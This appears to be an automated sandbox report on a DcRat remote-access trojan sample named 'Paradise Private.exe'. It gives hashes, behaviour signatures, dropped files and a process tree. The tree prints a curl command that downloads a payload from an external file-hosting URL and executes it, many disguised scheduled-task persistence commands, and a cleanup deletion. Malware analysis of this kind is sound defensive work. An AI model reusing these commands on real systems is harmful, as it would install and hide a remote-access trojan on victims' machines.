Analysis

  • max time kernel
    99s
  • max time network
    122s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241023-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    10-12-2024 11:15

General

  • Target

    Paradise Private.exe

  • Size

    855KB

  • MD5

    df367e723dc5759cdad30841910cd6af

  • SHA1

    eb6105e8f2462746108e94543e684c8d6a587dbb

  • SHA256

    a29663d874e5fba50215d6966591407d6c9d264371ec0e726bdf5a902cf11156

  • SHA512

    21f29b03a607ba8e3910ed27e802cf61db82dda0c1f3e9772127509dfd9eb7e81778463f47cbe4727116792eed83e11b91dc7fb72e455eb3b621201f9853dbb0

  • SSDEEP

    12288:KvGAa5J2tubG6rOH7Fso6veRSN2ff+zOe9egX7AlGXynGnIr9BqiXb1FP:KvGAMAubGeo60OegX7AoXyn6m7Vj

Malware Config

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Dcrat family
  • Process spawned unexpected child process 18 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Paradise Private.exe
    "C:\Users\Admin\AppData\Local\Temp\Paradise Private.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:884
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl --silent https://file.garden/Z01XJyuAz2yPo4d4/client.bin --output C:\Windows\Speech\client.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2152
      • C:\Windows\system32\curl.exe
        curl --silent https://file.garden/Z01XJyuAz2yPo4d4/client.bin --output C:\Windows\Speech\client.exe
        3⤵
        • Drops file in Windows directory
        PID:2068
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      2⤵
        PID:4996
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\Speech\client.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4512
        • C:\Windows\Speech\client.exe
          C:\Windows\Speech\client.exe
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:2388
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\ComponentCrt\sBEZl9whlNx1coUjXXPbcOghFKEeD7haTOPQzUr4aUDA.vbe"
            4⤵
            • Checks computer location settings
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3392
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\ComponentCrt\1lvoZv4qBcC2Me4L.bat" "
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4968
              • C:\ComponentCrt\chainreviewwinrefSvc.exe
                "C:\ComponentCrt/chainreviewwinrefSvc.exe"
                6⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Modifies registry class
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:3296
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\oWSuGkLVxs.bat"
                  7⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1232
                  • C:\Windows\system32\chcp.com
                    chcp 65001
                    8⤵
                      PID:388
                    • C:\Windows\system32\w32tm.exe
                      w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                      8⤵
                        PID:648
                      • C:\Program Files\Java\jre-1.8\lib\fontdrvhost.exe
                        "C:\Program Files\Java\jre-1.8\lib\fontdrvhost.exe"
                        8⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4400
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c del C:\Windows\Speech\client.exe
            2⤵
              PID:1644
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "smsss" /sc MINUTE /mo 8 /tr "'C:\Recovery\OEM\smss.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:3024
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Recovery\OEM\smss.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:3032
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "smsss" /sc MINUTE /mo 5 /tr "'C:\Recovery\OEM\smss.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:1852
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 8 /tr "'C:\Program Files\Java\jre-1.8\lib\fontdrvhost.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:4772
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Program Files\Java\jre-1.8\lib\fontdrvhost.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:1652
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 5 /tr "'C:\Program Files\Java\jre-1.8\lib\fontdrvhost.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:3136
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "explorere" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\explorer.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:3680
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Users\Default User\explorer.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:2768
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "explorere" /sc MINUTE /mo 7 /tr "'C:\Users\Default User\explorer.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:740
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "Paradise PrivateP" /sc MINUTE /mo 8 /tr "'C:\Recovery\OEM\Paradise Private.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:2844
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "Paradise Private" /sc ONLOGON /tr "'C:\Recovery\OEM\Paradise Private.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:2708
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "Paradise PrivateP" /sc MINUTE /mo 5 /tr "'C:\Recovery\OEM\Paradise Private.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:3720
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Media Player\Network Sharing\fontdrvhost.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:1364
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Media Player\Network Sharing\fontdrvhost.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:4732
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Media Player\Network Sharing\fontdrvhost.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:1804
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "chainreviewwinrefSvcc" /sc MINUTE /mo 11 /tr "'C:\ComponentCrt\chainreviewwinrefSvc.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:4600
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "chainreviewwinrefSvc" /sc ONLOGON /tr "'C:\ComponentCrt\chainreviewwinrefSvc.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:4776
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "chainreviewwinrefSvcc" /sc MINUTE /mo 12 /tr "'C:\ComponentCrt\chainreviewwinrefSvc.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:556

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\ComponentCrt\1lvoZv4qBcC2Me4L.bat

            Filesize

            98B

            MD5

            4dafd9e9509ac96be6aa5baec659da4d

            SHA1

            a091552663ddea89536560f232b8339f318c9cbc

            SHA256

            0c53b640295abd25e8387957941e29f5c4e765376365409164ac39e3365a6ccf

            SHA512

            d290c162347e236e0e197c52afc4f4b33f1eba2498dfe2ad86c414c87ab70c9fbbd2132cd08bfb4137e8555a095ca9acb6675727a4a5f65ccc46141c16698132

          • C:\ComponentCrt\chainreviewwinrefSvc.exe

            Filesize

            1.8MB

            MD5

            11cca9e2c6dc9c2a728b89e7314ec26a

            SHA1

            58aec3b662a1c4e8b43cc454d90813ac89b5e612

            SHA256

            300072795259e7b2baa69a7a3d19ffea1844dffc391e710c654aa1b66b0e2197

            SHA512

            fb1fcff1c94e73b1227f65b237639e25604d614cfe365f2108bbbfdb489b97410fdc17411b8f00fc5b8f57d51080b4496010537a6a4ff9b15b7bdd24f89d0df7

          • C:\ComponentCrt\sBEZl9whlNx1coUjXXPbcOghFKEeD7haTOPQzUr4aUDA.vbe

            Filesize

            207B

            MD5

            b292d233456b16f26abc1aa07c9f5de0

            SHA1

            7b025705136101b5618d81d8ebf472335eebde43

            SHA256

            e75d13d4b079fafbd413fa8182c270f1f0f41b1b19b3469db12de226fed67b2d

            SHA512

            1c9c3846ab0e392dc6833de2a9238c91b6042b5095521196a3ceae8830edf7fb6d73118ed023b2e2daf287a48084fa8ee40241248a231cf668d5cc5e8f947ee4

          • C:\Users\Admin\AppData\Local\Temp\oWSuGkLVxs.bat

            Filesize

            225B

            MD5

            f7d4ec12a202bd4e1afbd70b6a251956

            SHA1

            b1879a51ea0e68ba72cf338d6f3af4e47bef7584

            SHA256

            2ec9e8f9a2cb48e28d42f693fbb3d3b6ba671c380da298abe2d5a63176809ff9

            SHA512

            9b05fdd2b8860bf29e60d184b8f513400585936fe94ec22cdb5b5e19409d25fe38cc7bf5d395757c485d3699fe5e3a581e36a7db3e2f1c1d25cc2e1fe450b0b8

          • C:\Windows\Speech\client.exe

            Filesize

            2.1MB

            MD5

            bf4f13d82d217ed69d80124c50d9441c

            SHA1

            b7ee7d109f61371342e924e6a0c3505347dd318f

            SHA256

            51890bfc6f223014ff16f4bfa6ace8e2d2ec3c81eb6965406813b9ca32b08508

            SHA512

            1ba17e55d6d1f6fda99daffe3f11f995d5e8434901b2aea9105728ccbff1b81727d96bf8811a62e8367fca0ec23bdea331165b001088b183281164269668d2f4

          • memory/3296-19-0x00000000005B0000-0x000000000078A000-memory.dmp

            Filesize

            1.9MB

          • memory/3296-21-0x00000000010A0000-0x00000000010AE000-memory.dmp

            Filesize

            56KB

          • memory/3296-23-0x0000000001120000-0x000000000113C000-memory.dmp

            Filesize

            112KB

          • memory/3296-24-0x0000000002A80000-0x0000000002AD0000-memory.dmp

            Filesize

            320KB

          • memory/3296-26-0x0000000001140000-0x0000000001158000-memory.dmp

            Filesize

            96KB

          • memory/3296-28-0x00000000010B0000-0x00000000010BC000-memory.dmp

            Filesize

            48KB